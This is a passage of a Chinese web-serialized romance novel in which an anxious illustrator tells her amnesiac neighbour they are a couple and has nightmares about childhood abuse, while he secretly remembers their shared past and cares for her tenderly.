应蓁宜奇怪地看着他:“为什么要我先去?”
她说着,像是猜测什么,又故作随意地瞥了下某个地方,他穿着睡袍,什么都看不出来了。
“你还没解决好吗?”
她问的直白又天真,宋琢额间青筋一跳,无奈地捏了下她的脸:“我换个睡衣。”
应蓁宜有时候真的很黏人,完全不肯走:“摸都摸过了,换睡袍为什么不让我看?”
“.....”
宋琢难得没有直接答应,小姑娘也固执地仰着脸看他,但最终还是他先败了下来。
他解开睡袍,应蓁宜就盘腿坐在床上欣赏。
宋琢有心说话分散小姑娘的注意力:“明天想吃什么?”
“椰子鸡。”
但其实,应蓁宜平时就很会观察人心,她敏锐地意识到什么,从床上下来跑到他身边。
宋琢睡衣的扣子还没扣好,下意识地想要阻止,却还是晚了一步。
应蓁宜怔怔地看着他,男人的背脊贲张着紧实性感的力量,却攀浮着密密麻麻的,令人心颤的伤痕。
心脏不受控制地抽痛,令她像是忽然失力般,捂着胸口艰难地张嘴呼吸。
宋琢脸色倏地沉了下,也不管身上松松垮垮的睡衣,抬起
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她的脸,却发现她颈间竟渗出了一层薄薄的汗。
“蓁蓁!蓁蓁!”
应蓁宜的目光失焦片刻,她不知道自己为什么会这么难过,这么痛,就仿佛,她切切实实地经历过什么。
她靠在他的怀里,开口时还带着点迷茫的鼻音:“你的伤,是怎么来的?”
话音落下的那一刻,她像是一脚踏空,后脊发凉。
她怎么能问他,他什么都不记得。
但宋琢仿佛没有察觉到不对,没有质问为什么你作为我女朋友不清楚这件事,只是安抚地抱着她,语气平静到听不出异常:“不记得了。”
应蓁宜沉默地抱着他,情绪却久久未能平复。
倒是宋琢,安抚地亲亲她的耳朵,语气随意地转移话题:“会不会觉得很丑?”
应蓁宜本就异常的难过,听见他这话讷讷抬起眼,漂亮的眸子里是湿漉漉的委屈:“我没有这么觉得。”
宋琢将她抱进怀里,温柔地揉了揉她的脑袋,语气低低地哄着:“是我说错话了,对不起。我只是怕你被吓到,蓁蓁,别哭。”
应蓁宜不知道自己为什么会这样,情绪的剧烈波动,让她渐渐疲惫。
回到房间,小姑娘双手抱着他的腰,闭着双眼,呼吸也缓慢地平稳下来。
漆黑的夜里,宋琢却久久未能入眠。
他迷恋而温柔地吻了她睡得发热的脸颊,漆黑的眼里,是望不见尽头的晦涩与心疼。
....
应蓁宜睡得并不踏实。
浑浑沌沌的,女孩儿猛地睁开双眼。
她什么也看不见,试探性地伸出手,却发现自己被关在一个狭窄的,类似箱子的空间里。
空气稀薄,逼仄黑暗的环境让她快要呼吸不过来,她只能拼命地推,拼命地喊人救救她,救救她!
她想,这是梦,这一定是梦!她咬着牙用力一撞,狼狈喘过气的一瞬间,她整个人又骤然往下跌去——
她重重跌坐在地上,却觉得头晕目眩,甚至控制不住地想要干呕。
她的视线依旧模糊,不堪入耳的咒骂声劈头盖脸砸了下来,她迟钝地抬起视线,却隐隐约约的,只看见一个高大的男人,手里抡着一张长凳在进行狠戾地施暴。
长凳打在人的身体上发出沉沉的闷响,她踉跄地想要爬起来,想要看清被他踹倒的人是谁,却发现自己全身像是骨折般,怎么也站不起来。
有液体从额间流了下来,模糊了她的双眼。
是血。
可她却什么都不在乎般,只是执拗地想要看清那个少年是谁。
她的身体很痛苦,很弱小,有很多伤。
她的心很痛,她在不受控制地流泪,她看不清血肉模糊的、昏迷过去的他是谁,只是顺从着这具身体的本能,艰难地抱住那个暴戾男人的大腿,哭泣着哀求他——
“别打了....”
“求求你,放过他....放过他....”
“——蓁蓁!蓁蓁!”
应蓁宜猛地睁开眼,湿热的泪珠不受控制地滑落,宋琢将她扶了起来,却发现她捂着胸口,呼吸格外困难。
“蓁蓁,是噩梦,蓁蓁,看着我!”
宋琢拂去她的眼泪,声声唤着她。
应蓁宜的视线还有些模糊,她迷茫地看着面前的人,喃喃时还带着很浓的哭腔,仿佛还困在梦里:“哥哥?”
11. 第 11 章
宋琢呼吸一滞,低哑的嗓音绷着微不可查的颤意:“蓁蓁,你喊我什么?”
应蓁宜分不清此时到底是梦境,还是现实,只觉得有零零碎碎的画面在刺激着大脑,令她很不舒服,很痛苦。
宋琢见她状态不对,压下心里的波澜,安抚地,温柔地吻去她脸上的眼泪。
应蓁宜低垂的睫毛湿漉漉的,可忽然,她像是听见了什么动静,脸色骤然煞白,推着他,惶恐而不安地想要往外跑。
宋琢不知道她怎么了,半哄半强硬地将人抱在怀里:“蓁蓁。”
“蓁蓁,你看着我。”
应蓁宜呼吸急促,双眼空洞地自言自语:“仓鼠、仓鼠跑出来了。”
她用尽全力挣脱了他的桎梏,连拖鞋也顾不上穿,踉踉跄跄地往外跑去。
宋琢第一时间跟了上去,客厅灯光亮起的一瞬间,他定定看着那道瘦弱的身影,脚步骤然顿在了原地,心脏也仿佛被刺了下。
她脸上泪水未干,翻动着零食柜,沙发,无措而着急地找着仓鼠。
宋琢的目光望向那巨大的仓鼠城堡,收回视线,不顾心里的骇浪,单膝着地地哄着跪坐在地上的小姑娘:“蓁蓁。”
“我找到了,已经把它放回去了。”
应蓁宜愣了下,起身就想去找仓鼠。
宋琢却扣住她纤细冰凉的脚腕,先帮她穿上了拖鞋。
“你看,它在。”
宋琢牵着她的手走过去,目光却没有看那只仓鼠,而是静静地观察着她的情绪。
应蓁宜抽噎着,过了好一会儿,她迟钝地抬起眼,那双湿漉漉的眸子里满是担心:“它怎么不动?”
宋琢的一颗心似乎被小姑娘的眼泪浸透,他喉咙上下一滚,再开口时,声音有些哑:“它只是玩累了,在睡觉。”
“别担心了,好吗?”
终于将人哄回卧室,情绪的大起大伏让她陷入疲惫,很快就沉沉睡去。
寂静的夜里,宋琢却久久未眠。
他不抽烟,不喝酒,唯一缓解情绪的方式,就是想她。
可此时,他的脑海里满是她的模样,她委屈地求他,流泪的双眼像是将他禁锢住,令他无法挣脱。
有多少个夜里,她是如今晚般因为噩梦惊醒。
又有多少次,她也像刚才那样,无措而恐惧。
宋琢的右腿忽地疼了起来,比当初被打断的那一刻还要疼,疼到他的心都像是被剜了一刀。
他拥紧了怀里的人,甚至因为太过用力,她迷迷糊糊地嘤咛出声,却没有醒,双手仍然依赖抱着他的腰。
他阖上眼皮,呼吸落在女孩儿若软的颈窝里,无声地、迷恋地吻着。
蓁蓁。
哥哥不会再丢下你了。
-
昨晚仓鼠偷偷跑出来,应蓁宜还是很担心,想带它去找丁晓看看。
宋琢答应一起去,只见她困倦地打了个哈欠,眼尾还溢出了生理性的泪水。
“眼睛有没有不舒服?”
宋琢没有提她异常的反应,反而更在意她昨晚哭了很久。
她乖巧地抬起脸,那乌黑漂亮的眸子果然还有些红。
宋琢给她滴了眼药水,又让她闭着眼休息。
应蓁宜特别听话地坐着,宋琢帮她梳头发,男人的动作轻柔而娴熟,甚至令她觉得很舒服,眉眼都不自觉地舒展了几分。
闭着眼,她不由自主地想到了昨晚的梦。
施暴的男人,尖锐的哭喊,还有那倔强的少年....画面太过真实,零零碎碎的一直充斥在她的脑海中,就仿佛,是她真实经历过的。
注意到她不自觉地拧起了眉,宋琢轻声喊她:“蓁蓁?”
应蓁宜密长的眼睫毛一动,她迟钝而缓慢地睁开眼,茫然地撞上了他担心的目光。
“怎么了?”
怕他担心,她只是乖巧地笑了笑:“就是昨天的噩梦太吓人了。”
宋琢看着她,“什么梦?”
应蓁宜想了想,老实地总结了一句:“就是梦到被人打了。”
宋琢动作一顿,触及她疑惑的目光,他敛下情绪,语气温和的仿佛只是随口一问:“经常做梦?”
他耐心地编着头发,偶尔不小心扯到她的头皮,却不痛,反而有种舒服的,酥酥麻麻的痒。
她闭着眼睛嗯了声,但昨晚的梦却是第一次。
宋琢沉默着,没有再说什么。
他很快就编好了头发,是特别温柔乖巧,很适合她的侧边麻花辫,还细心地将一些碎发松扯出来。
应蓁宜臭屁地对着镜子照了又照,开心地扑到他怀里:“宋琢,你好厉害,我好喜欢这个发型。”
她自己在家懒得捣鼓发型,偶尔心血来潮试过,但这双在画画方面有着天赋的手,在编发上却很笨拙。
宋琢将小姑娘抱在怀里,温和而纵容地说:“以后每天都帮你编。”
应蓁宜欣然答应,要出门,她还是有点不安,除了和他十指相扣,另只手还紧紧抱着他的手臂。
在家里黏人又爱缠着他亲亲抱抱的小姑娘,走到外头,像是按了静音键似的,安静的不得了。
怕他觉得自己很奇怪,她干巴巴地为自己解释:“我很少出门....”
宋琢指腹轻轻摩挲着她的手,似是在安抚:“嗯,我知道。”
担心她陷在焦虑里,他温声换了个话题:“它经常会跑出来吗?”
应蓁宜迟钝地意识到他问的是仓鼠,点点头说:“它很调皮的,而且特别喜欢在晚上跑出来。”
“幸好我以前习惯了熬夜,能及时把它抓回来。”
提起这个不健康的作息,她偷偷看了他一眼,宋琢哪里不知道小姑娘的心虚,嗓音依然温和沉静:“以后我也会多注意点它。”
应蓁宜紧绷着的情绪似是被抚平,如果不是在外头,她真的想坐在他怀里撒娇。
到了宠物医院,那里的工作人员似乎已经认识她了,为两人倒了杯水,没有直接替她的小仓鼠看诊,而是礼貌地说:“丁医生应该很快就到了。”
应蓁宜腼腆又拘谨地说了声谢谢,待对方离开,才凑到宋琢耳边,和他说着悄悄话:“这里以前只有丁晓一个医生,她特别好特别善良,你看,那些都是家长送过来的锦旗。”
在她靠过来的一瞬间,宋琢便伸手将人揽在了怀里。
这家医院其实不算大,包括丁晓在内,一共只有两位医生,以及两位助手,但应该是获得了许多家长的信任,墙面上挂满了锦旗,右侧的病房里,还有几只可怜的小家伙正眼巴巴地等着家长来接。
应蓁宜记得那个夜里,丁晓救活了小仓鼠,她认认真真的,第一次在点评软件上写了好评。
幸运的是,那条好评被推送到首页,有许多家长看到了,第二天便抱着自家孩子找到这家小医院。不同于那些高档医院的天价收费,丁晓的专业与良心也被更多人看到。
所以她常笑着说:“蓁蓁,这一切多亏了你。”
丁晓将头盔挂在电动车上,匆匆推开医院的大门,就瞧见那对亲昵坐在一起的恋人。
总是腼腆拘谨的女孩儿,却不似从前那般防备不安。而是叽里咕噜地和身边的人说着悄悄话,眉眼间竟多了几分生动与活泼。
而搂着她的那个男人,漫不经心地把玩着她的手,微微低着头听她说话,耐心而温柔。
似是有所察觉,他撩起眼皮,幽黑的视线就这么直直扫了过来——
丁晓的心跳倏地漏了一拍。
“晓晓。”
宋琢平静而疏离地向她颔首,丁晓强迫自己敛下情绪,笑容勉强地嗯了声:“它又跑出来了?”
她似乎很了解这只仓鼠的情况,听应蓁宜说完,点头道:“那你们先坐一会儿,我给它做个检查。”
应蓁宜很信任她,检查也不过十几分钟的时间,再出来时,丁晓如往常般耐心:“没有太大的问题。”
她简单说了仓鼠的情况,应蓁宜这才稍稍松了一口气。
宋琢在外头打电话,丁晓以朋友的口吻试探道:“那是你男朋友?”
应蓁宜脸颊微烫,却还是眉眼弯弯地点头承认了。
本以为,丁晓会担心,会打听他的情况。却不想,她只是忽然上前,轻轻地抱了她。
应蓁宜身体僵硬,只听丁晓在她耳边说:“蓁蓁,我很为你感到开心。”
她并没有抱很久,短暂即逝的亲昵接触,却如同温柔的清风抚平了她的防备与不安。
应蓁宜时常会觉得愧疚,面对朋友,她应该回以拥抱。
可她似乎还是做不到,她知道自己生理性排斥的行为其实很无理。
她知道这是一种病。
丁晓却不在意,也没有责怪她,而是笑着称赞道:“蓁蓁,你今天的发型真好看。”
应蓁宜有一瞬间的鼻酸,她忽然上前,抱住丁晓,缓慢地说出了那藏在心里许久的话:“晓晓,谢谢你。”
“好了,快去吧,你男朋友还在外面等你呢。”
丁晓打断了这煽情的气氛,直接把人送到了门口。
宋琢向她微微颔首,望着两人离开的背影,丁晓站在医院门口喃喃自语。
回来了就好.....
...
丁晓今天值晚班,送走最后一位家长,她余光一瞥,就瞧见不远处的路灯下,高挑的男人静静立在那,也不知等
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了多久。
宋琢缓缓走近,礼貌地开口:“丁医生,冒昧打扰,不知道你现在有没有时间聊一聊。”
丁晓早知道他会过来,点头:“进来吧。”
视线从他微跛的右腿处移开,她看了眼时间,皱着眉问:“怎么这个点过来?”
这么晚,蓁蓁一个人会害怕。
宋琢解释:“她在赶稿,一时半会儿不会发现,但我只有半个小时的时间。”
丁晓颔首,直截了当地问:“你想知道什么?”
住在病房里的猫猫狗狗偶尔哼哼唧唧叫唤着,宋琢也没有多寒暄,嗓音微哑道,“这些年,她过得好不好。”
丁晓敛下眼皮,沉默了片刻,才缓缓开口:“你应该知道,我和蓁蓁是怎么认识的。”
她的讲述,其实和应蓁宜说的差不多。
她们之间的交集,多数是因为那只仓鼠。
宋琢却敏锐地问道:“真的这么巧合吗?”
丁晓十分坦然,也没想瞒他:“我只是想离蓁蓁近一点。”
她只是想保护她。
话音落下,她转而问面前的人:“你什么时候回来的?”
宋琢平静回答:“半年前。”
丁晓也没有因为他的回答产生太大的波澜,只是点点头说:“她每次带仓鼠过来,我就知道她生病了,或者是做噩梦了。”
虽早已猜到,可听见这个答案时,宋琢的心脏还是不受控制地一疼。
丁晓看着他,不由想到那个深夜,应蓁宜抱着仓鼠盒,是多么的无措与害怕。
她比宋琢小,却不怕这个男人:“宋琢,我想这一次,你不能再离开了。”
她清楚,应蓁宜不可能,也受不住第二次分离的。
宋琢心里很明白这件事,他站起身,嗓音沙哑的,又极为真诚地向她道谢:“丁晓,多谢。”
...
宋琢回到家,客厅里静悄悄的。
她应该还在画稿,不知道他出去了。
回来的路上,小区有人抽烟,身上还是沾了些。
他知道蓁蓁不喜欢烟味,先进浴室洗了个澡。
再出来,本想切好水果给她送进去,就瞧见卧室里鬼鬼祟祟地探出来一个脑袋。
她也洗完澡了,但因为太喜欢他编的麻花辫,一直没舍得松开。
宋琢还以为她是太累了,只是出来休息一会儿,抬手让她过来。
应蓁宜趿拉着拖鞋挤进他怀里,双手抱着男人的腰,像只可爱的小狗般嗅了嗅。
她早就知道他出门了。
面对空荡荡的客厅,她是有点委屈的,不明白他为什么要瞒着她出门。
他出去干什么?
是想起什么了吗?
要见谁吗?
回来以后,还会不会喜欢她?
她焦虑地在家里转来转去,却明白,自己不能总是这样寸步不离地跟着他。
那太自私了,那不叫恋爱,那叫监禁。
她焦虑地等了他好久,好不容易回来了,他却第一时间去洗澡。
她再次忍不住多想,可在抱住他的那一刻,像是得到了解药般,委屈与不安消失得一干二净。
但她又敏感地注意到,他的心情似乎不是很好。
“你怎么了?心情不好吗?”
她乌黑的眼里满是担心,宋琢的脑海中又想到了丁晓的话。
他喉咙上下一滚,竟低低嗯了声。
应蓁宜无措地张了张唇,很想要问他,你发生了什么?为什么出门回来就心情不好了?
你见了谁?
宋琢靠着岛台,双手抱着她纤细的腰:“蓁蓁。”
她立刻嗯了声。
“以前我不开心的时候,你会哄我吗?”
应蓁宜愣了下,迟疑地点头。
男人幽深的目光就这么静静攫着她的视线:“怎么哄的?”
两人所有的恋爱经历,都是她虚构编造的。
她当然不知道该怎么做,可此刻,自己很想让他开心。
她捧着男人的脸,踮起脚,试探性地吻了他的脸。
宋琢没有说话,只是怕她会累,微微低下了头。
他沉静幽黑的目光就这么一瞬不瞬地看着她,应蓁宜耳廓升温,却又笨拙地亲了他的唇角、他的下颌,每亲一下,都在注意他的反应。
“蓁蓁。”
她睫毛轻颤,却还是乖乖嗯了声。
宋琢仿佛没有被哄好,搂在腰间的手忽然往上,禁锢着她瘦弱的后颈,迫使她不能害羞,只能看向自己。
他亲昵而温柔地碰了碰她的鼻尖,呼吸若有若无地勾缠在一起:“我们接过吻吗?”
12. 第 12 章
过敏时,为了不让她难受,他温热的唇流连于泛红的每一处。
坚持早睡早起,他会奖励地亲吻她的脸。
因为噩梦惊醒,宋琢将她抱在怀里,安抚地,温柔地吻去她的眼泪。
应蓁宜十分清楚,这些都算不上真正意义上的吻。
“没有....”
她声音发虚,说话的时候,就这么一瞬不瞬地盯着他的唇,还不自觉地咽了咽喉咙。
宋琢将她的反应尽收眼底,偏偏这个时候,还格外绅士的、温柔地询问:“那我想和你接个吻,可以吗?”
可以吗?
可以的。
她现在,疯狂地想和他接吻。
不是温柔的轻碾,而是深入地唇齿纠缠。
心里的贪念就这么彻彻底底被钓了起来,她唇瓣翕动,没有回答,就这么迫切地撞上了上去。
她的吻毫无技巧可言,焦躁地、笨拙地,还不小心咬了他一下。
她慌张地想要跟他说抱歉,宋琢安抚地拍着她的腰,另只覆在她后颈的手往前,抬起女孩儿的脸,终于反客为主地探了进去,温柔地搅弄着她的呼吸。
应蓁宜很喜欢他的主导,闭上眼,乖顺地回应他。
湿黏暧昧的空气里,不小心溢出了声轻咛。
她后知后觉有点不好意思,宋琢却吮咬着她柔软可爱的唇瓣,嗓音低哑,透着点蛊惑人心的错觉:“不想亲了?”
她耳廓升温,双手却紧紧抱着他的脖子,着急地回答:“要亲!”
宋琢格外纵容这个贪吃鬼,断断续续吻了很久,应蓁宜身体发软地靠在他怀里喘息,有种异样的酥麻窜入大脑,只剩下一个念头在不断雀跃——
和他接吻,好舒服。
她觉得自己真是幸福极了,忍不住仰起脸偷亲了他一下。
“宋琢,我很喜欢和你接吻。”
她红唇被亲得湿淋淋的,有点肿了,却很像可口的浆果,就这么直白而真诚地表达自己的心意。
宋琢不由自嘲,这小姑娘未免过于信任他了。
他到底比她多了几分理智,侧身倒了两杯水。
应蓁宜确实很渴,咕噜咕噜地喝完,也稍稍清醒了些。
怕自己会一直沉溺于吻中,她佯装随意地问了自己很在意的事:“你出去见谁了?”
宋琢并没有告诉她自己出去见丁晓了,而是提了陈宵。
应蓁宜愣了下,费了好大的劲儿才记起来,这个陈宵是他的合伙人。
就是上次一起去公司,看上去拽了吧唧的那个。
应蓁宜发现,自己竟卑劣地产生了一个念头。
她很生气他去见别人。
她不想他记起来。
她想将他永远地禁锢在身边。
接吻后的甜蜜像是被冷水浸透,她开始不安:“他找你出去干什么?你想起什么了吗?”
宋琢仿佛没有看出她的想法,耐心地先回答了后面的问题:“没想起什么。”
“他家里出了事,但有个重要的文件需要签,才找到的我。”
宋琢虽然失忆了,可有些东西似是刻在骨子里的。
比如,他这段时间一直在熟悉公司的业务,已经能处理一些文件了。
应蓁宜还是不放心,“其他的事呢?”
宋琢知道她在想什么,却格外配合地认真想了想:“好像隐约记起来点。”
应蓁宜的心跳咯噔一声,脸色都白了几分,讷讷地问:“想起什么了?”
宋琢安抚地吻了下她冰凉的指尖,这才慢条斯理地说:“我们好像经常在电梯里遇到。”
“其他的,就没想起来了。”
应蓁宜的一颗心渐渐落了下来,依赖地抱着他的腰,将脸埋在他的胸膛里,“邻居嘛,难免会遇见。”
幸好,他没有恢复记忆。
应蓁宜觉得自己真的好坏,趁着他失忆,骗他是自己的男朋友,还不想让他把一切记起来,可是,可是....
等等!
他为什么会记住她这个,只有几面之缘的,几乎没说过话的陌生邻居?
她的心脏忽然开始狂跳,不由自作多情地冒出一个念头,难道,他早就注意到她了吗?
为什么其他的没有想起来,只记起了她?
难道,他在失忆前,就是喜欢她的?
所以,她并没有那么坏,对吗?
靠着脑补,渐渐的,应蓁宜没有那么烦躁了,克制着心里的波澜问道,“那你心情不好,是因为公事吗?”
她没有忘记这件事。
宋琢没想让小姑娘多担心,顺着她的话嗯了声。
应蓁宜抱着他的脖子,亲亲他的脸,又趁机吻了男人的唇:“现在心情好点了吗?”
宋琢只觉得她又蹭又亲,像极了顽皮撒娇的小狗。
他格外包容,笑意温和:“非常好。”
“真的吗?不要因为怕我担心,就什么都不说。”
应蓁宜漂亮的眸子眼巴巴的,明显透着不知足。明明刚才还觉得亲到舌头发麻了,现在甚至想大胆又热情地缠着他——
宋琢,宋琢,你再亲亲我吧!
“贪吃鬼,你的稿子画完了?”
宋琢无奈地点了点她的鼻子,应蓁宜这才懊恼地想起这件事,忽然理解从此君王不早朝的心了。
宋琢也是担心她之后赶稿会累,“我又不会跑,什么时候都可以亲。”
应蓁宜苦着脸,在心里大放厥词——
赶完稿,我要和他亲个三天三夜!走哪亲哪!全身上下亲个遍!
这
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么想着,她心虚地看了眼边上的人,宋琢仿佛没有看出这小色鬼在想什么,只是纵容地说:“我陪着你。”
应蓁宜与父母不怎么往来,他没有出现时,已经习惯了孤独而不安的生活。
而如今,他在身边。
明明是和从前一样的工作,她那颗总是惴惴不安的心,竟觉得平静而幸福。
阳光和煦的午后,宋琢注意到她的视线,停下工作,担心地问她是不是眼睛不舒服。
她下意识地否认,宋琢见她真的没有不舒服,这才起身,走出书房去切水果。
应蓁宜也立刻保存文件,随后像条小尾巴似的跟了上去,吃着吃着,就挤进了他的怀里。
今天的吻是橙子味的。
那晚之后,应蓁宜总想着和他接吻。
最开始还有点矜持呢,只是在睡前索要晚安吻。
许是宋琢太过纵容,渐渐的,她开始得寸进尺。
今天没有亲很久,结束的时候,她还有些不高兴地想追上去,男人粗粝的指腹不轻不重地揉捏着她的唇,嗓音沙哑,又有点无奈:“蓁蓁,放过我。”
初秋的天气已经转凉,她后知后觉意识到了滚烫的地方。
宋琢哄着她:“让我缓缓,好不好?”
应蓁宜三步一回头,她很想帮他的。
但宋琢就像是她所编造的人设一样,保守至极,一直不答应。
她坐在电脑前,没有直接工作,而是在发呆。
宋琢为什么不愿意和她进一步亲近?
他其实很纵容她,想接吻的时候,他都会放下手中的一切....
难道真的是她太过黏人了?
宋琢再回到书房,她的目光忍不住看了过去。
一寸寸地描摹着他的五官,逐渐往下,性感的喉结,还有她最喜欢的胸肌....
应蓁宜心里忽然翻起了惊涛骇浪。
她惊恐地发现,她不止想和他接吻,还想和他做更多。
想让他亲遍全身上下,想一直和他黏在一起。
甚至光是这么想想,便有一种古怪的兴奋窜入大脑,连指尖都有一瞬间的酥麻。
明明在这之前,她是个生活欲很低的人,无论是吃的,还是用的,都是差不多就行,更别说对什么人,什么东西,产生如此极致的欲/望。
她不会真的有什么瘾吧。
宋琢敏锐地注意到,刚才还在走神的人,忽然正襟危坐。
他没有越界地看她在电脑上浏览什么,可敲着键盘的动作却慢了下来。
应蓁宜没有察觉,只是脸色严肃地点开某个软件求助——
「总是控制不住地想和男朋友亲近,有的时候,甚至想把他绑起来,让他不能做别的事,只能和我接吻。请问,这是因为我有病吗?」
13. 第 13 章
「我只有一个问题,姐妹,你男朋友帅吗?帅的话就情有可原了。」
应蓁宜绷着脸回复:「非常帅!」
「那能怪你吗?那是他在勾引你。」
「没错,楼主不要多想,说不定你男朋友也挺喜欢的。」
他喜欢吗?
应蓁宜偷看身边的人,他刚洗完澡,换了套干净的衣物,修长的手正敲着键盘。
注意到她的视线,他顺理成章地停下动作,浓黑的目光平静看了过来:“怎么了?”
他从容冷静,仿佛已经理智地从方才的吻中抽离出来。
应蓁宜也不知道自己为什么会这么奇怪,明明他没有出现的时候,她胆子小到不敢和别人说话。
现在,她就像得了什么瘾似的。
到底是他没那么喜欢她,还是因为她真的生病了?
她不说话,宋琢愈发担心了,牵着她的手让人坐到自己怀里,想到她刚才脸色严肃地看着电脑,猜测道:“是遇到恶意评论了?”
有人喜欢她的画,也会有人讨厌。
应蓁宜恹恹地抱住了他的脖子,委屈又不高兴地控诉:“宋琢,你为什么不喜欢亲我?”
宋琢愣了下,觉得这罪名可真重。
“怎么这么问?”
看看,他总是这样清醒而理智的,仿佛任何时候,都会包容她这个贪婪的黏人精。
“我总是控制不住地想和你亲近,但你每次都是特别冷静的样子,不会为我失控,就好像是在完成任务。”
她越说越委屈:“你是不是还不相信我是你女朋友?”
完成任务这四个字,真是砸得宋琢额间青筋直跳。
他当然不可能她如所说的那么清醒冷静,在浴室解决时,他已经将她想了千万遍。
儿时,宋琢担心她挨饿,就算是被打,也会偷偷地找来食物。
小姑娘给他上药,眼泪止不住地往下掉,她觉得都是自己的错:“哥哥,对不起,是我没用。”
逼仄狭窄的仓库里,他顾忌着身上脏,没有抱妹妹,而是温柔摸着她的脑袋道:“别说傻话。”
但现在,她学会满足自己了,会大胆又委屈地说想要拥抱,要接吻,甚至想要更多。
无论从前还是现在,喂饱妹妹,是哥哥必须做到的。
但,他到底比小姑娘要年长,又怎么能如此莽莽撞撞地闯入?
她年龄小,重/欲并不是她的错。
而他要做的,是慢慢引导她。
就如此时,他并不是觉得完成了任务,也没有不想和她接吻,而是清楚,她的交稿期就要到了。
他不想她之后会焦头烂额的,又开始没日没夜地熬着画。
那样对身体不好,她也会累。
他并没有完全拒绝她的亲密接触。
他依然会温柔搅弄她的舌头,会吻到让她不自觉地张开了唇,只能失神地靠着他喘//息。
他们之后还会做一切亲密的事,比如做/嗳。
至于,小姑娘还想看他失控的样子,宋琢笑着逗道:“原来蓁蓁喜欢这样的?”
应蓁宜听他说完后就没那么焦虑了,甚至后知后觉地觉得害羞,脸颊热热的,都不好意思继续坐在他身上了。
宋琢覆在她腰间的手温柔拍了拍,格外纵容:“那要不要再亲一下,满足了再继续工作?”
怀里的人立刻不动了,眼眸亮亮地抱着他的脖子,非常诚实地说:“要。”
宋琢解释过后,应蓁宜就老实多了。甚至因为太过投入工作,完全没时间想亲亲抱抱。
果然,人就是太闲了才容易胡思乱想。
除了每周需要更新的漫画,她现在正赶进度的,是一个很重要的商稿——给某个热门ip出封面。
这个ip粉丝多,合作方汇总了许多要求,细节把控得格外严格。
应蓁宜每天抓耳挠腮的,偶尔宋琢喊她出去吃饭,她都当作没听见。
因为她的眼睛容易疼,宋琢就像下课铃似的,会准时进来让她休息。
有时候她试图抗议,向来包容理智的男人就这么双手环抱,慢条斯理地说:“蓁蓁,你对我不感兴趣了吗?”
她一下就慌了:“我哪有?”
小姑娘到底还是单纯,没有觉得他是在无理取闹,也没察觉他是故意的,反而觉得真的是自己冷落他了,立刻挤进他怀里,讨好地亲着他:“宋琢宋琢,你别生气。”
男人眼底掠起笑意,牵着她的手往外走去:“我切了新鲜的蜜瓜,晚上要不要喝鱼汤?”
在书房里闷了一周,总算将稿子交了。
她伸了个懒腰,本想找宋琢,却看到程敏瑜给她发了微信。
老太太在清醒的时候经常会联系她,这次发来的是某个活动的链接。
外人不知道程敏瑜患上了阿尔兹海默症,她在业内有名,就算是退休了,一些重要的活动还会邀请她。
而她转发的,是某个展览活动。
展览并不稀奇,但重要的是,这次会出展某个艺术家的画。
这还是她最喜欢的艺术家。
应蓁宜很纠结,程敏瑜似是知道她在纠结什么,直接打了个视频电话过来。
“你不是谈了个男朋友吗,让他陪着你一起去。”
应蓁宜竟觉得这是个好主意。
真奇怪,任何事情,只要提到宋琢,就像是得到了解决办法。
程敏瑜在外头晒太阳,看上去精神不错:“感觉你变活泼了许多。”
应蓁宜愣了下:“真的吗?”
“没发现吗?你今天露脸了。”
她以前,可是只敢露出一只眼睛的。
见小姑娘摸了摸脸,老太太戏谑道:“看来,你很喜欢这个宋琢。”
应蓁宜脸颊有点儿烫,却还是眼眸亮亮地点头说:“嗯,我超喜欢他。”
“这么短的时间就在一起,不怕他是个骗子?”
应蓁宜哪敢说是自己把人拐回家的,含糊不清地解释:“他才不是。”
程敏瑜笑眯眯地调侃:“小姑娘也不知道矜持点。”
面对她,应蓁宜才敢袒露自己的疑惑:“不知道为什么,我总会下意识地依赖他,总觉得他在身边,会很安心。”
老太太眯了眯眼,似是随口道:“说不定你们以前认识,只是你忘了。”
应蓁宜愣了下,像是真的在思考她的话。
镜头里的程敏瑜似乎有点累了,“对了,你江婶今天刚从老家回来,带了特产,有时间过来拿一趟?”
应蓁宜回过神,欣然答应。
结束电话,她发了一会儿呆,想出去找宋琢,起身的时候不小心撞到手嗷了一声。
除了手疼,
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她发现自己脖子也酸酸的,腰也不太舒服。
宋琢听见动静走进来,脸色微沉:“不舒服?”
她哭丧着脸嗯了声,这段时间久坐,脖子和腰都疼了。
除了难受,她也有点心虚。
宋琢一直有让她起身活动,但她总是撒娇犯懒。
宋琢没有怪她,只是让她趴在床上。
她不安又听话地照做,宋琢没说要做什么,只是又塞了个枕头让她抱着,这样趴着会舒服些。
不知道他要做什么,应蓁宜怂怂地将脸也埋在了枕头里。
装了一会儿鸵鸟,她忽然抬起脸嗅了嗅鼻子,闻到空气中弥漫了一层很淡的精油香。
她疑惑之际,衣服忽然被人撩起来了,白皙的后腰就这么裸露在空气中,深秋气温转凉,一股冷意就这么刺进了皮肤里,令她不安地颤了下。
宋琢的手心滴了精油,正慢条斯理地揉搓着,见她看了过来,漆黑的目光坦荡而平静。
“你是,要帮我按摩吗?”
她讷讷地,忽然明白了他要做什么。
宋琢嗯了声,应蓁宜盯着他修长的手,迟钝移开了视线。
男人的手并不像她的柔软,指腹,就连手心都有层薄薄的茧。
偶尔他摸她的脸,这样的粗粝会掠起轻痒。
应蓁宜总是摇头想,他一定受过很多苦。
正走神,这双揉着精油的手覆在她的后腰时,异样的颤栗瞬间窜入骨子里,令她不自觉地/抖/了下——
“别动,趴好。”
精油生热,应蓁宜感觉到裸露的肌肤被缓缓灼烧,连脸颊都渐渐发热。
她老老实实地,竟真的不敢动了,将脸埋在枕头里,身体却还有些僵硬。
“你怎么想给我按摩了?”
她大脑空白,却又能够清楚地感受到,覆在腰间的那只手正在缓慢地往上推动。
“猜到你会腰疼。”
长期久坐,这些毛病是必然的。
她不喜欢运动,他便想了别的办法。
宋琢的动作不含任何欲/念,小姑娘的背很薄,稍稍用力,就有点疼了。
应蓁宜闷哼了声,只觉得自己已经开始发热。
“你连按摩都会啊?”
应蓁宜旖旎的思绪渐渐散去,但事实上,这是宋琢临时看视频学习的。
“真的?”
她惊讶地想回头,却从上方落下一声别动,她只能老老实实地趴着,随后,听见了他的回答——
“总不能一直让你难受。”
应蓁宜抱着枕头,心里又开始澎湃,真想跳到他身上亲他!
“宋琢,你说我们会不会以前认识啊?”
她努力把脑子里乱七八糟的东西甩出去,想到程敏瑜随口说过的话。
宋琢看向她红扑扑的侧脸,声音听不出一丝异常:“怎么这么问。”
“就是觉得好神奇。”
他无微不至的,就仿佛一直都是这么照顾她的。
而她,对他又有着无法言说的依赖
